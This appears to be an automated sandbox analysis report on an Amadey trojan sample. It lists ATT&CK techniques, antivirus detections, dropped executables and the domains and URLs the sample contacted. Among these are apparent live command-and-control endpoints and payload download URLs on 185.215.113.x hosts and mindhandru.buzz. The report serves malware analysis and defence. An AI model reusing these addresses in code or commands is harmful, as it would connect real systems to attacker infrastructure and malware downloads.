Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	451 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	451 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LIWYEYWSOj.exe	53%	Virustotal		Browse
LIWYEYWSOj.exe	66%	ReversingLabs	Win32.Trojan.Amadey
LIWYEYWSOj.exe	100%	Avira	TR/Crypt.XPACK.Gen
LIWYEYWSOj.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/N	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpncoded	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exed4$	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php6	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpnu	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiEX;	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiz	100%	Avira URL Cloud	malware
http://185.215.113.16:80/steam/random.exeD	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpcoded	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php=t	100%	Avira URL Cloud	malware
https://mindhandru.buzz/es	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php//	100%	Avira URL Cloud	malware
https://mindhandru.buzz/ms	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpyt)	100%	Avira URL Cloud	malware
https://mindhandru.buzz/s	100%	Avira URL Cloud	malware
https://mindhandru.buzz/hKrwS/0t	100%	Avira URL Cloud	malware
https://mindhandru.buzz/j	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php4086001	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php1t	100%	Avira URL Cloud	malware
https://mindhandru.buzz/piJ	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apit	100%	Avira URL Cloud	malware
http://185.215.113.16/lumma/random.exe652242	0%	Avira URL Cloud	safe
https://mindhandru.buzz/V	100%	Avira URL Cloud	malware
https://mindhandru.buzz/5s	100%	Avira URL Cloud	malware
http://crl.microsoftN	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpx	100%	Avira URL Cloud	malware
http://185.215.113.16/lumma/random.exe:=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mindhandru.buzz	172.67.165.185	true	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
scentniej.buzz	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeX	0fd4b3a5d7.exe, 00000009.00000003.2880678373.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft	LIWYEYWSOj.exe, 00000000.00000003.1836308583.0000000001416000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1929467995.0000000001425000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1879484490.0000000001416000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1929433037.0000000001417000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1748702745.0000000001416000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2800391654.0000000000D22000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpa	skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706283855.0000000005561000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/N	0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/mine/random.exe	LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	LIWYEYWSOj.exe, 00000000.00000003.1751165057.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1787943219.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1788120825.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1751236778.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626516565.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626656165.00000000055B9000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658219738.00000000055B9000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2657846774.00000000055B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/pi	0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2800451540.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000007.00000002.2940709036.000000000117B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpQ	skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/api	LIWYEYWSOj.exe, 00000000.00000003.1929521842.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpu	LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php6	skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php9	skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exed4$	0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16:80/steam/random.exeD	LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/apiz	LIWYEYWSOj.exe, 00000000.00000003.1929521842.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2880678373.0000000000CCD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/apiEX;	0fd4b3a5d7.exe, 00000009.00000003.2731276729.0000000000CD2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706283855.0000000005561000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/Y	LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	LIWYEYWSOj.exe, 00000000.00000003.1751236778.0000000005A74000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626656165.0000000005594000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php32	skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/products/firefoxgro.all	0fd4b3a5d7.exe, 00000009.00000003.2684124273.0000000005684000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/es	0fd4b3a5d7.exe, 00000009.00000003.2735515582.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2730837987.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php=t	LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpyt)	LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706283855.0000000005561000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/#	0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php//	LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/ms	LIWYEYWSOj.exe, 00000000.00000003.1879438651.0000000001439000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1861257745.0000000001439000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/s	LIWYEYWSOj.exe, 00000000.00000003.1861257745.0000000001439000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/hKrwS/0t	0fd4b3a5d7.exe, 00000009.00000003.2706062507.000000000556B000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658979838.0000000005570000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706840404.0000000005575000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2681797287.0000000005570000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658281278.0000000005570000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2681540499.0000000005570000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2657910026.000000000556E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe	LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php1t	LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/	0fd4b3a5d7.exe, 00000009.00000003.2800451540.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658446321.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2735515582.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2730837987.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/j	0fd4b3a5d7.exe, 00000009.00000003.2681612509.0000000005561000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682901946.0000000005561000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706283855.0000000005561000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706994506.0000000005563000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	LIWYEYWSOj.exe, 00000000.00000003.1751165057.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1787943219.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1788120825.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1751236778.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626516565.00000000055C0000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626656165.00000000055B9000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658219738.00000000055B9000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2657846774.00000000055B9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe-	LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0fd4b3a5d7.exe, 00000009.00000003.2684124273.0000000005684000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/piJ	LIWYEYWSOj.exe, 00000000.00000003.1929326880.0000000001439000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php4086001	skotes.exe, 00000007.00000002.2940709036.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/apit	LIWYEYWSOj.exe, 00000000.00000003.1748702745.00000000013CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	LIWYEYWSOj.exe, 00000000.00000003.1750526912.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1750605126.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2625915154.00000000055AD000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626026465.00000000055AB000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626146620.00000000055AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	LIWYEYWSOj.exe, 00000000.00000003.2002781931.0000000001433000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2879763238.0000000005582000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/lumma/random.exe	skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/lumma/random.exe652242	skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpy	skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpx	skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	LIWYEYWSOj.exe, 00000000.00000003.1833488464.0000000005A47000.00000004.00000800.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1833528074.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	LIWYEYWSOj.exe, 00000000.00000003.1751165057.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626516565.00000000055C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/V	0fd4b3a5d7.exe, 00000009.00000003.2731133016.0000000005563000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/5s	0fd4b3a5d7.exe, 00000009.00000003.2731133016.0000000005563000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706283855.0000000005561000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2706994506.0000000005563000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exe	0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2880678373.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	LIWYEYWSOj.exe, 00000000.00000003.1751236778.0000000005A74000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2626656165.0000000005594000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206	LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpm	skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/lumma/random.exe:=	skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
